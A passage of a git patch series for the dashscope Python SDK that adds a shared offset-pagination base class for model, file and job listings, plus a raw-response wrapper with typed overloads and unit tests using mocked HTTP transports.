raw + assert settings.strict_validation is expected, raw + with pytest.raises(ValueError, match="strict_validation"): + settings.strict_validation = "maybe" + + +def test_strict_validation_settings_beat_env_in_resolve(clean, tmp_path): + clean.setenv("DASHSCOPE_STRICT_VALIDATION", "0") + settings.strict_validation = True + cfg = resolve_config( + workspace="ws-123", + config_path=tmp_path / "absent.toml", + ) + assert cfg.strict_validation is True + + def test_log_level_setter_applies_immediately(clean): logger = logging.getLogger(ROOT_NAME) settings.log_level = "debug" From 5c4c30f445490668651bfb5e8e808f9935a4f5f9 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Mon, 2 Nov 2026 16:19:06 +0800 Subject: [PATCH 05/26] feat(pagination): Introduce generic pagination base class and refactor resource list interfaces - Add BasePage generic base class to unify offset-based pagination logic - Support sync and async cross-page iteration and next-page fetching - Refactor ModelList, FileList, and JobList to inherit from BasePage - Implement items property for each list resource to unify iteration interface - Inject pagination callbacks into list request methods to support automatic page traversal - Add alias mapping for total and total_count fields in JobList compatibility - Add comprehensive unit tests covering pagination logic and edge cases --- dashscope/resources/_jobs.py | 85 +++++++-- dashscope/resources/files.py | 61 +++++-- dashscope/resources/models.py | 48 +++++- dashscope/types/__init__.py | 2 + dashscope/types/pagination.py | 137 +++++++++++++++ tests/test_pagination.py | 315 ++++++++++++++++++++++++++++++++++ 6 files changed, 610 insertions(+), 38 deletions(-) create mode 100644 dashscope/types/pagination.py create mode 100644 tests/test_pagination.py diff --git a/dashscope/resources/_jobs.py b/dashscope/resources/_jobs.py index 675a403d..ee10dbda 100644 --- a/dashscope/resources/_jobs.py +++ b/dashscope/resources/_jobs.py @@ -42,6 +42,7 @@ response_envelope, with_headers, ) +from dashscope.types.pagination import BasePage if TYPE_CHECKING: import httpx @@ -216,18 +217,36 @@ def from_payload( ) -class JobList(ResponseBase): +class JobList(BasePage[Job]): """One page of async tasks, from ``jobs.list`` (1.x ``GET /tasks``). Each entry in ``tasks`` parses with the same aliases as a fetched :class:`Job`; a FAILED task inside the list is data, not an error. + + ``page_no`` / ``page_size`` / ``total_count`` come from + :class:`~dashscope.types.pagination.BasePage`; iterate the page directly + or cross pages with ``iter_pages()`` / ``next_page()``. The wire reports + the total as ``total``, which is aliased onto ``total_count`` and also + readable through the :attr:`total` property. """ - page_no: int = 1 - page_size: int = 10 - total: int = 0 + # The wire field is ``total``; the canonical pagination name is + # ``total_count``. Accept both on input so the base traversal works. + total_count: int = Field( + 0, + validation_alias=AliasChoices("total_count", "total"), + ) tasks: List[Job] = [] + @property + def items(self) -> List[Job]: + return self.tasks + + @property + def total(self) -> int: + """Alias of ``total_count``, keeping the historical field name readable.""" + return self.total_count + @classmethod def from_payload( cls, @@ -250,7 +269,7 @@ def from_payload( { "page_no": data.get("page_no", 1), "page_size": data.get("page_size", 10), - "total": data.get("total", len(items)), + "total_count": data.get("total", len(items)), "tasks": items, **response_envelope(data), }, @@ -444,14 +463,30 @@ def list( # pylint: disable=redefined-builtin ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers( - JobList.from_payload( - response_json(response), - strict=self._client.config.strict_validation, - response=response, + result = JobList.from_payload( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ) + result.bind_pagination( + lambda next_no, next_size: self.list( + start_time=start_time, + end_time=end_time, + model_name=model_name, + api_key_id=api_key_id, + region=region, + status=status, + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ), - response, ) + return with_headers(result, response) def wait( self, @@ -704,14 +739,30 @@ async def list( # pylint: disable=redefined-builtin ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers( - JobList.from_payload( - response_json(response), - strict=self._client.config.strict_validation, - response=response, + result = JobList.from_payload( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ) + result.bind_pagination( + lambda next_no, next_size: self.list( + start_time=start_time, + end_time=end_time, + model_name=model_name, + api_key_id=api_key_id, + region=region, + status=status, + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ), - response, ) + return with_headers(result, response) async def wait( self, diff --git a/dashscope/resources/files.py b/dashscope/resources/files.py index 0ebc8768..5c400f91 100644 --- a/dashscope/resources/files.py +++ b/dashscope/resources/files.py @@ -26,6 +26,7 @@ response_envelope, with_headers, ) +from dashscope.types.pagination import BasePage if TYPE_CHECKING: import httpx @@ -74,12 +75,20 @@ class File(ResponseBase): ) -class FileList(ResponseBase): - page_no: int = 1 - page_size: int = 10 - total_count: int = 0 +class FileList(BasePage[File]): + """One page of files, from ``files.list``. + + Pagination fields come from + :class:`~dashscope.types.pagination.BasePage`; iterate the page directly + or cross pages with ``iter_pages()`` / ``next_page()``. + """ + files: List[File] = [] + @property + def items(self) -> List[File]: + return self.files + class DeletionStatus(ResponseBase): deleted: bool = False @@ -334,14 +343,24 @@ def list( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers( - _parse_list( - response_json(response), - strict=self._client.config.strict_validation, - response=response, + result = _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ) + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ), - response, ) + return with_headers(result, response) def get( self, @@ -491,14 +510,24 @@ async def list( ), ) check_response(response, raise_on_error=self._client.raise_on_error) - return with_headers( - _parse_list( - response_json(response), - strict=self._client.config.strict_validation, - response=response, + result = _parse_list( + response_json(response), + strict=self._client.config.strict_validation, + response=response, + ) + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, ), - response, ) + return with_headers(result, response) async def get( self, diff --git a/dashscope/resources/models.py b/dashscope/resources/models.py index 9133c35b..fa6aec6b 100644 --- a/dashscope/resources/models.py +++ b/dashscope/resources/models.py @@ -21,6 +21,7 @@ response_envelope, with_headers, ) +from dashscope.types.pagination import BasePage if TYPE_CHECKING: import httpx @@ -51,12 +52,21 @@ class Model(ResponseBase): ) -class ModelList(ResponseBase): - page_no: int = 1 - page_size: int = 10 - total_count: int = 0 +class ModelList(BasePage[Model]): + """One page of the model catalog, from ``models.list``. + + ``page_no`` / ``page_size`` / ``total_count`` come from + :class:`~dashscope.types.pagination.BasePage`; iterate the page directly + (``for m in page``) or cross pages with ``iter_pages()`` / + ``next_page()``. + """ + models: List[Model] = [] + @property + def items(self) -> List[Model]: + return self.models + def _parse_list( body: Dict[str, Any], @@ -125,7 +135,9 @@ def list( The server has no provider filter, so ``total_count`` is always the pre-filter total of the whole catalog, not of the filtered - ``models`` slice. + ``models`` slice. Pagination therefore walks the unfiltered catalog: + ``has_next_page()`` / ``iter_pages()`` follow ``total_count``, and the + ``provider`` filter is applied to each fetched page independently. """ response = self._client.transport.request( "GET", @@ -151,6 +163,19 @@ def list( result.models = [ m for m in result.models if _match_provider(m, provider) ] + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + provider=provider, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + ), + ) return with_headers(result, response) def get( @@ -254,6 +279,19 @@ async def list( result.models = [ m for m in result.models if _match_provider(m, provider) ] + result.bind_pagination( + lambda next_no, next_size: self.list( + page_no=next_no, + page_size=next_size, + provider=provider, + timeout=timeout, + api_key=api_key, + workspace=workspace, + extra_headers=extra_headers, + extra_query=extra_query, + extra_body=extra_body, + ), + ) return with_headers(result, response) async def get( diff --git a/dashscope/types/__init__.py b/dashscope/types/__init__.py index e6b5a0d7..c6f0b31d 100644 --- a/dashscope/types/__init__.py +++ b/dashscope/types/__init__.py @@ -24,9 +24,11 @@ extract_text, normalize_messages, ) +from dashscope.types.pagination import BasePage __all__ = [ "AudioPart", + "BasePage", "ChatCompletion", "ChatCompletionChunk", "ChatCompletionMessage", diff --git a/dashscope/types/pagination.py b/dashscope/types/pagination.py new file mode 100644 index 00000000..7030878c --- /dev/null +++ b/dashscope/types/pagination.py @@ -0,0 +1,137 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Offset pagination shared by every list endpoint in the dashscope 2.0 SDK. + +``models.list`` / ``files.list`` / ``jobs.list`` all answer with the same +envelope -- ``page_no`` / ``page_size`` / ``total_count`` plus a list of +items -- but each used to expose it as a bare model, leaving callers to +loop ``page_no`` by hand and compare it against the total. :class:`BasePage` +folds that traversal into the response object so a page can be iterated +and advanced uniformly. + +The concrete list models keep their own item field name (``models`` / +``files`` / ``tasks``) and expose it through the :attr:`BasePage.items` +property, so iteration is uniform without renaming the public fields. + +One class serves both the sync and the async client: the resource injects a +matching fetch callback (a plain callable or a coroutine function) into the +private ``_fetch_next`` slot after parsing, and the sync / async traversal +methods each drive it appropriately. Because it is a ``PrivateAttr``, the +callback never appears in ``model_dump()``. +""" + +from __future__ import annotations + +import inspect +from typing import ( + Any, + AsyncIterator, + Callable, + Generic, + Iterator, + List, + Optional, + TypeVar, +) + +from pydantic import PrivateAttr + +from dashscope.types.common import ResponseBase + +__all__ = ["BasePage"] + +T = TypeVar("T") + + +class BasePage(ResponseBase, Generic[T]): + """One page of an offset-paginated list, with traversal helpers. + + Subclasses declare their item list under a resource-specific field and + override :attr:`items` to return it. ``page_no`` / ``page_size`` / + ``total_count`` are inherited from here. + """ + + # Fetches another page as ``(page_no, page_size) -> page`` (a page or an + # awaitable of one). Injected by the resource after parsing; a PrivateAttr + # so it stays out of ``model_dump()`` and never round-trips as a field. + _fetch_next: Optional[Callable[[int, int], Any]] = PrivateAttr( + default=None, + ) + + page_no: int = 1 + page_size: int = 10 + total_count: int = 0 + + @property + def items(self) -> List[T]: + """The items on *this* page; overridden by each concrete list model.""" + return [] + + def bind_pagination( + self, + callback: Optional[Callable[[int, int], Any]], + ) -> "BasePage[T]": + """Attach the page-fetch callback the traversal methods use. + + Resources call this right after parsing so ``next_page()`` / + ``iter_pages()`` can request the following page. Returns ``self`` + for chaining. ``callback`` is stored in a ``PrivateAttr``, so + binding it never changes ``model_dump()``. + """ + self._fetch_next = callback + return self + + def has_next_page(self) -> bool: + """Whether ``total_count`` implies a page after this one. + + Offset arithmetic only: it trusts the server's ``total_count`` and + does not consult ``_fetch_next``, so it stays meaningful on a page + built without a callback (e.g. parsed straight from a body). + """ + return self.page_no * self.page_size < self.total_count + + def next_page(self) -> Optional["BasePage[T]"]: + """Fetch the following page, or ``None`` at the end of the list. + + Returns ``None`` when there is no next page or when no fetch callback + was injected (a standalone page cannot advance itself). + """ + if not self.has_next_page() or self._fetch_next is None: + return None + return self._fetch_next(self.page_no + 1, self.page_size) + + async def next_page_async(self) -> Optional["BasePage[T]"]: + """Async :meth:`next_page`; awaits the callback when it is a coroutine.""" + if not self.has_next_page() or self._fetch_next is None: + return None + result = self._fetch_next(self.page_no + 1, self.page_size) + if inspect.isawaitable(result): + result = await result + return result + + def __iter__(self) -> Iterator[T]: + """Iterate this page's items only; use :meth:`iter_pages` to cross pages.""" + return iter(self.items) + + def __aiter__(self) -> AsyncIterator[T]: + """Async counterpart of :meth:`__iter__`: this page's items only.""" + + async def _gen() -> AsyncIterator[T]: + for item in self.items: + yield item + + return _gen() + + def iter_pages(self) -> Iterator["BasePage[T]"]: + """Yield this page and every following one, advancing via :meth:`next_page`.""" + page: Optional["BasePage[T]"] = self + while page is not None: + yield page + page = page.next_page() + + async def iter_pages_async(self) -> AsyncIterator["BasePage[T]"]: + """Async :meth:`iter_pages`, advancing via :meth:`next_page_async`.""" + page: Optional["BasePage[T]"] = self + while page is not None: + yield page + page = await page.next_page_async() diff --git a/tests/test_pagination.py b/tests/test_pagination.py new file mode 100644 index 00000000..0902fad3 --- /dev/null +++ b/tests/test_pagination.py @@ -0,0 +1,315 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for the shared offset-pagination abstraction (T4).""" + +from __future__ import annotations + +from typing import Any, Dict, List + +import httpx +import pytest + +from dashscope import AsyncClient, Client +from dashscope.resources._jobs import JobList +from dashscope.resources.files import FileList +from dashscope.resources.models import ModelList +from dashscope.types.pagination import BasePage + +BASE_URL = "https://api.test.local/api/v1" + + +def _make_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.Client(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return Client(api_key="sk-test", http_client=http_client, **kwargs) + + +def _make_async_client(handler, **kwargs): + mock = httpx.MockTransport(handler) + http_client = httpx.AsyncClient(transport=mock, base_url=BASE_URL) + kwargs.setdefault("base_url", BASE_URL) + return AsyncClient(api_key="sk-test", http_client=http_client, **kwargs) + + +def _slice_page( + catalog: List[Dict[str, Any]], + key: str, + params: Dict[str, str], + *, + envelope: str, +) -> Dict[str, Any]: + """Build one page body for ``catalog`` from the request's query params.""" + page_no = int(params.get("page_no", 1)) + page_size = int(params.get("page_size", 10)) + start = (page_no - 1) * page_size + window = catalog[start : start + page_size] + page = { + key: window, + "page_no": page_no, + "page_size": page_size, + "total": len(catalog), + } + if envelope == "output": + return {"request_id": "req-page", "output": page} + return {"request_id": "req-page", "data": page} + + +# --- models.list (sync) --------------------------------------------------- + + +def _models_handler(catalog, seen): + def handler(request): + params = dict(request.url.params) + seen.append(int(params.get("page_no", 1))) + return httpx.Response( + 200, + json=_slice_page(catalog, "models", params, envelope="output"), + ) + + return handler + + +def test_models_iter_yields_current_page_only(): + catalog = [{"model": f"m{i}", "provider": "dashscope"} for i in range(5)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + assert [m.model for m in page] == ["m0", "m1"] + # Iterating the page does not itself fetch more pages. + assert seen == [1] + + +def test_models_iter_pages_crosses_all_pages(): + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + collected = [m.model for p in page.iter_pages() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [1, 2, 3] + + +def test_models_next_page_advances_then_ends(): + catalog = [{"model": f"m{i}"} for i in range(3)] + client = _make_client(_models_handler(catalog, [])) + + first = client.models.list(page_no=1, page_size=2) + assert first.has_next_page() is True + second = first.next_page() + assert second is not None + assert second.page_no == 2 + assert [m.model for m in second] == ["m2"] + assert second.has_next_page() is False + assert second.next_page() is None + + +def test_models_boundary_exact_multiple_of_page_size(): + catalog = [{"model": f"m{i}"} for i in range(4)] + seen: List[int] = [] + client = _make_client(_models_handler(catalog, seen)) + + page = client.models.list(page_no=1, page_size=2) + pages = list(page.iter_pages()) + assert [p.page_no for p in pages] == [1, 2] + assert seen == [1, 2] + + +def test_models_boundary_partial_last_page(): + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_client(_models_handler(catalog, [])) + + page = client.models.list(page_no=1, page_size=2) + pages = list(page.iter_pages()) + assert [len(p.models) for p in pages] == [2, 2, 1] + + +def test_models_boundary_empty_catalog(): + seen: List[int] = [] + client = _make_client(_models_handler([], seen)) + + page = client.models.list(page_no=1, page_size=10) + assert page.total_count == 0 + assert page.has_next_page() is False + assert list(page.iter_pages()) == [page] + assert seen == [1] + + +def test_models_provider_filter_applies_per_page_only(): + # total_count stays the pre-filter catalog total; the filter narrows only + # the items on each fetched page. + catalog = [ + {"model": "a", "provider": "dashscope"}, + {"model": "b", "provider": "other"}, + {"model": "c", "provider": "dashscope"}, + {"model": "d", "provider": "other"}, + ] + client = _make_client(_models_handler(catalog, [])) + + page = client.models.list(page_no=1, page_size=2, provider="dashscope") + assert page.total_count == 4 # unfiltered + assert [m.model for m in page] == ["a"] + + all_filtered = [m.model for p in page.iter_pages() for m in p] + assert all_filtered == ["a", "c"] + + +def test_model_dump_excludes_callback(): + catalog = [{"model": "m0"}] + client = _make_client(_models_handler(catalog, [])) + page = client.models.list(page_no=1, page_size=10) + + dumped = page.model_dump() + assert "_fetch_next" not in dumped + assert not any(k.startswith("_") for k in dumped) + assert dumped["models"] == [ + { + "request_id": None, + "status_code": None, + "code": None, + "message": None, + "is_error": False, + "headers": {}, + "model": "m0", + "source": None, + "provider": None, + "open_source": None, + }, + ] + + +def test_base_page_without_callback_cannot_advance(): + # has_next_page() is pure arithmetic and stays true, but next_page() needs + # an injected callback, so a standalone page cannot fetch. + page = ModelList(page_no=1, page_size=2, total_count=5) + assert page.has_next_page() is True + assert page.next_page() is None + + +def test_list_models_share_base_page(): + for cls in (ModelList, FileList, JobList): + assert issubclass(cls, BasePage) + # The default items view is empty until a subclass maps its own list. + assert BasePage().items == [] + + +# --- models.list (async) -------------------------------------------------- + + +@pytest.mark.asyncio +async def test_models_async_iter_pages(): + catalog = [{"model": f"m{i}"} for i in range(5)] + seen: List[int] = [] + client = _make_async_client(_models_handler(catalog, seen)) + + page = await client.models.list(page_no=1, page_size=2) + collected = [m.model async for p in page.iter_pages_async() for m in p] + + assert collected == ["m0", "m1", "m2", "m3", "m4"] + assert seen == [1, 2, 3] + + +@pytest.mark.asyncio +async def test_models_async_next_page_ends(): + catalog = [{"model": f"m{i}"} for i in range(3)] + client = _make_async_client(_models_handler(catalog, [])) + + first = await client.models.list(page_no=1, page_size=2) + second = await first.next_page_async() + assert second is not None and second.page_no == 2 + assert await second.next_page_async() is None + + +@pytest.mark.asyncio +async def test_models_async_iter_current_page(): + catalog = [{"model": f"m{i}"} for i in range(5)] + client = _make_async_client(_models_handler(catalog, [])) + + page = await client.models.list(page_no=1, page_size=2) + assert [m.model async for m in page] == ["m0", "m1"] + + +# --- files.list (sync) ---------------------------------------------------- + + +def test_files_iter_pages(): + catalog = [{"file_id": f"f{i}", "name": f"f{i}.jsonl"} for i in range(3)] + + def handler(request): + params = dict(request.url.params) + return httpx.Response( + 200, + json=_slice_page(catalog, "files", params, envelope="data"), + ) + + client = _make_client(handler) + page = client.files.list(page_no=1, page_size=2) + assert isinstance(page, FileList) + assert [f.file_id for p in page.iter_pages() for f in p] == [ + "f0", + "f1", + "f2", + ] + + +# --- jobs.list (sync) ----------------------------------------------------- + + +def test_jobs_list_total_alias_and_traversal(): + catalog = [ + {"task_id": f"t{i}", "task_status": "SUCCEEDED"} for i in range(5) + ] + seen: List[int] = [] + + def handler(request): + params = dict(request.url.params) + seen.append(int(params.get("page_no", 1))) + page_no = int(params.get("page_no", 1)) + page_size = int(params.get("page_size", 10)) + start = (page_no - 1) * page_size + return httpx.Response( + 200, + json={ + "request_id": "req-jobs", + "tasks": catalog[start : start + page_size], + "page_no": page_no, + "page_size": page_size, + "total": len(catalog), + }, + ) + + client = _make_client(handler) + page = client.images.jobs.list(page_no=1, page_size=2) + + assert isinstance(page, JobList) + # Wire ``total`` is surfaced as ``total_count`` and via the ``total`` prop. + assert page.total_count == 5 + assert page.total == 5 + assert page.has_next_page() is True + + collected = [t.task_id for p in page.iter_pages() for t in p] + assert collected == ["t0", "t1", "t2", "t3", "t4"] + assert seen == [1, 2, 3] + + +def test_jobs_list_model_dump_uses_total_count(): + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-jobs", + "tasks": [], + "page_no": 1, + "page_size": 10, + "total": 0, + }, + ) + + client = _make_client(handler) + page = client.images.jobs.list() + dumped = page.model_dump() + assert "total_count" in dumped + assert "_fetch_next" not in dumped From 78d054650dfb73e0d7f9c4f4645171b2fa112649 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Mon, 2 Nov 2026 18:19:50 +0800 Subject: [PATCH 06/26] feat(transport): Introduce APIResponse and support raw parameter for raw responses - Add APIResponse class to wrap HTTP responses with on-demand parsing and error checking - Add request_api method to SyncTransport and AsyncTransport - Add raw parameter and type overloads to models and embeddings resource request methods - Move pagination total_count/total alias logic up to BasePage base class - Remove redundant total_count field in jobs resource and _parse_list in models - Update pre-commit config to suppress E1133 false positives caused by overload resolution - Add unit tests for APIResponse and pagination total alias parsing --- .pre-commit-config.yaml | 6 + dashscope/resources/_jobs.py | 6 - dashscope/resources/embeddings.py | 115 +++++++++- dashscope/resources/models.py | 251 +++++++++++++++------ dashscope/transport/__init__.py | 2 + dashscope/transport/_response.py | 205 +++++++++++++++++ dashscope/transport/http.py | 83 +++++++ dashscope/types/common.py | 4 + dashscope/types/pagination.py | 10 +- tests/test_pagination.py | 7 + tests/test_response.py | 354 ++++++++++++++++++++++++++++++ 11 files changed, 959 insertions(+), 84 deletions(-) create mode 100644 dashscope/transport/_response.py create mode 100644 tests/test_response.py diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index a9e4c914..ffe2d8c9 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -187,6 +187,12 @@ repos: --disable=R1732, --disable=W0108, --disable=R1711, + # astroid resolves an @overload set to its first stub body, so a + # resource method typed with overloads (``raw=False`` -> ModelList, + # ``raw=True`` -> APIResponse) infers as None at the call site and + # iterating the result reads as non-iterable. dashscope/ keeps + # E1133 enabled. + --disable=E1133, ] - repo: https://github.com/pre-commit/mirrors-eslint rev: v7.32.0 diff --git a/dashscope/resources/_jobs.py b/dashscope/resources/_jobs.py index ee10dbda..33165431 100644 --- a/dashscope/resources/_jobs.py +++ b/dashscope/resources/_jobs.py @@ -230,12 +230,6 @@ class JobList(BasePage[Job]): readable through the :attr:`total` property. """ - # The wire field is ``total``; the canonical pagination name is - # ``total_count``. Accept both on input so the base traversal works. - total_count: int = Field( - 0, - validation_alias=AliasChoices("total_count", "total"), - ) tasks: List[Job] = [] @property diff --git a/dashscope/resources/embeddings.py b/dashscope/resources/embeddings.py index 0acbc73b..b453277f 100644 --- a/dashscope/resources/embeddings.py +++ b/dashscope/resources/embeddings.py @@ -11,19 +11,21 @@ from __future__ import annotations from typing import ( + TYPE_CHECKING, Any, Awaitable, Callable, Dict, List, + Literal, Mapping, Optional, Union, + overload, ) from pydantic import AliasChoices, BaseModel, ConfigDict, Field -from dashscope.errors import check_response, response_json from dashscope.resources._jobs import ( DEFAULT_MAX_INTERVAL, DEFAULT_POLL_INTERVAL, @@ -41,6 +43,9 @@ with_headers, ) +if TYPE_CHECKING: + from dashscope.transport._response import APIResponse + _PATH = "/services/embeddings/text-embedding/text-embedding" _BATCH_SERVICE = "embeddings/text-embedding/text-embedding" # Functional-area tag for x-dashscope-sdk-client (matches 1.x ``embeddings``). @@ -416,6 +421,7 @@ def __init__(self, client) -> None: self._client = client self.jobs = EmbeddingJobs(client) + @overload def create( self, *, @@ -432,7 +438,49 @@ def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[False] = False, ) -> EmbeddingResponse: + ... + + @overload + def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: bool = False, + ) -> Union[EmbeddingResponse, "APIResponse"]: body = _build_body( model=model, input=input, @@ -442,7 +490,7 @@ def create( instruct=instruct, parameters=parameters, ) - response = self._client.transport.request( + resp = self._client.transport.request_api( "POST", _PATH, json=body, @@ -455,11 +503,14 @@ def create( extra_query, extra_body, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - parse_embedding_response(response_json(response)), - response, + parse_embedding_response(resp.json()), + resp.http_response, ) @@ -468,6 +519,7 @@ def __init__(self, client) -> None: self._client = client self.jobs = AsyncEmbeddingJobs(client) + @overload async def create( self, *, @@ -484,7 +536,49 @@ async def create( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[False] = False, ) -> EmbeddingResponse: + ... + + @overload + async def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + async def create( + self, + *, + model: str, + input: Union[str, List[str]], + text_type: Optional[str] = None, + dimension: Optional[int] = None, + output_type: Optional[str] = None, + instruct: Optional[str] = None, + parameters: Optional[Dict[str, Any]] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: bool = False, + ) -> Union[EmbeddingResponse, "APIResponse"]: body = _build_body( model=model, input=input, @@ -494,7 +588,7 @@ async def create( instruct=instruct, parameters=parameters, ) - response = await self._client.transport.request( + resp = await self._client.transport.request_api( "POST", _PATH, json=body, @@ -507,9 +601,12 @@ async def create( extra_query, extra_body, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) + if raw: + return resp + resp.raise_for_status() return with_headers( - parse_embedding_response(response_json(response)), - response, + parse_embedding_response(resp.json()), + resp.http_response, ) diff --git a/dashscope/resources/models.py b/dashscope/resources/models.py index fa6aec6b..6c1ef6b2 100644 --- a/dashscope/resources/models.py +++ b/dashscope/resources/models.py @@ -4,15 +4,23 @@ from __future__ import annotations -from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Optional +from typing import ( + TYPE_CHECKING, + Any, + Dict, + List, + Literal, + Mapping, + Optional, + Union, + overload, +) from pydantic import AliasChoices, Field from dashscope.errors import ( ErrorCode, - check_response, error_from_business_code, - response_json, ) from dashscope.transport._options import request_options from dashscope.types._parse import parse_model @@ -24,7 +32,7 @@ from dashscope.types.pagination import BasePage if TYPE_CHECKING: - import httpx + from dashscope.transport._response import APIResponse _BASE_PATH = "/models" @@ -68,37 +76,6 @@ def items(self) -> List[Model]: return self.models -def _parse_list( - body: Dict[str, Any], - *, - strict: bool = False, - response: Optional[httpx.Response] = None, -) -> ModelList: - # ``get`` is this same endpoint filtered by query params, and the - # native envelope nests its page under ``output``; ``data`` stays - # accepted for gateways that re-wrap the page OpenAI-style. - data = body.get("output") or body.get("data") or {} - if isinstance(data, dict): - models = data.get("models") or [] - page_no = data.get("page_no", 1) - page_size = data.get("page_size", 10) - total = data.get("total", len(models)) - else: - models, page_no, page_size, total = data, 1, 10, len(data) - return parse_model( - ModelList, - { - "page_no": page_no, - "page_size": page_size, - "total_count": total, - "models": models, - **response_envelope(body), - }, - strict=strict, - response=response, - ) - - def _parse_get_models(body: Dict[str, Any]) -> List[Dict[str, Any]]: output = body.get("output") or body.get("data") or {} if isinstance(output, dict): @@ -118,6 +95,7 @@ class Models: def __init__(self, client) -> None: self._client = client + @overload def list( self, *, @@ -130,7 +108,41 @@ def list( extra_headers: Optional[Mapping[str, str]] = None, extra_query: Optional[Mapping[str, Any]] = None, extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[False] = False, ) -> ModelList: + ... + + @overload + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: Literal[True], + ) -> "APIResponse": + ... + + def list( + self, + *, + page_no: int = 1, + page_size: int = 10, + provider: Optional[str] = None, + timeout: Optional[float] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + extra_headers: Optional[Mapping[str, str]] = None, + extra_query: Optional[Mapping[str, Any]] = None, + extra_body: Optional[Mapping[str, Any]] = None, + raw: bool = False, + ) -> Union[ModelList, "APIResponse"]: """List models; ``provider`` filters client-side per page. The server has no provider filter, so ``total_count`` is always @@ -138,8 +150,12 @@ def list( ``models`` slice. Pagination therefore walks the unfiltered catalog: ``has_next_page()`` / ``iter_pages()`` follow ``total_count``, and the ``provider`` filter is applied to each fetched page independently. + + ``raw=True`` returns the :class:`~dashscope.transport.APIResponse` + instead of a ``ModelList``, before any error check, so callers can + read the raw response (status, headers, ``elapsed``) or re-parse it. """ - response = self._client.transport.request( + resp = self._client.transport.request_api( "GET", _BASE_PATH, params={"page_no": page_no, "page_size": page_size}, @@ -152,13 +168,12 @@ def list( extra_query, extra_body, ), + client=self._client, ) - check_response(response, raise_on_error=self._client.raise_on_error) - result = _parse_list( - response_json(response), - strict=self._client.config.strict_validation, - response=response, - ) + if raw: + return resp + resp.raise_for_status() + result = 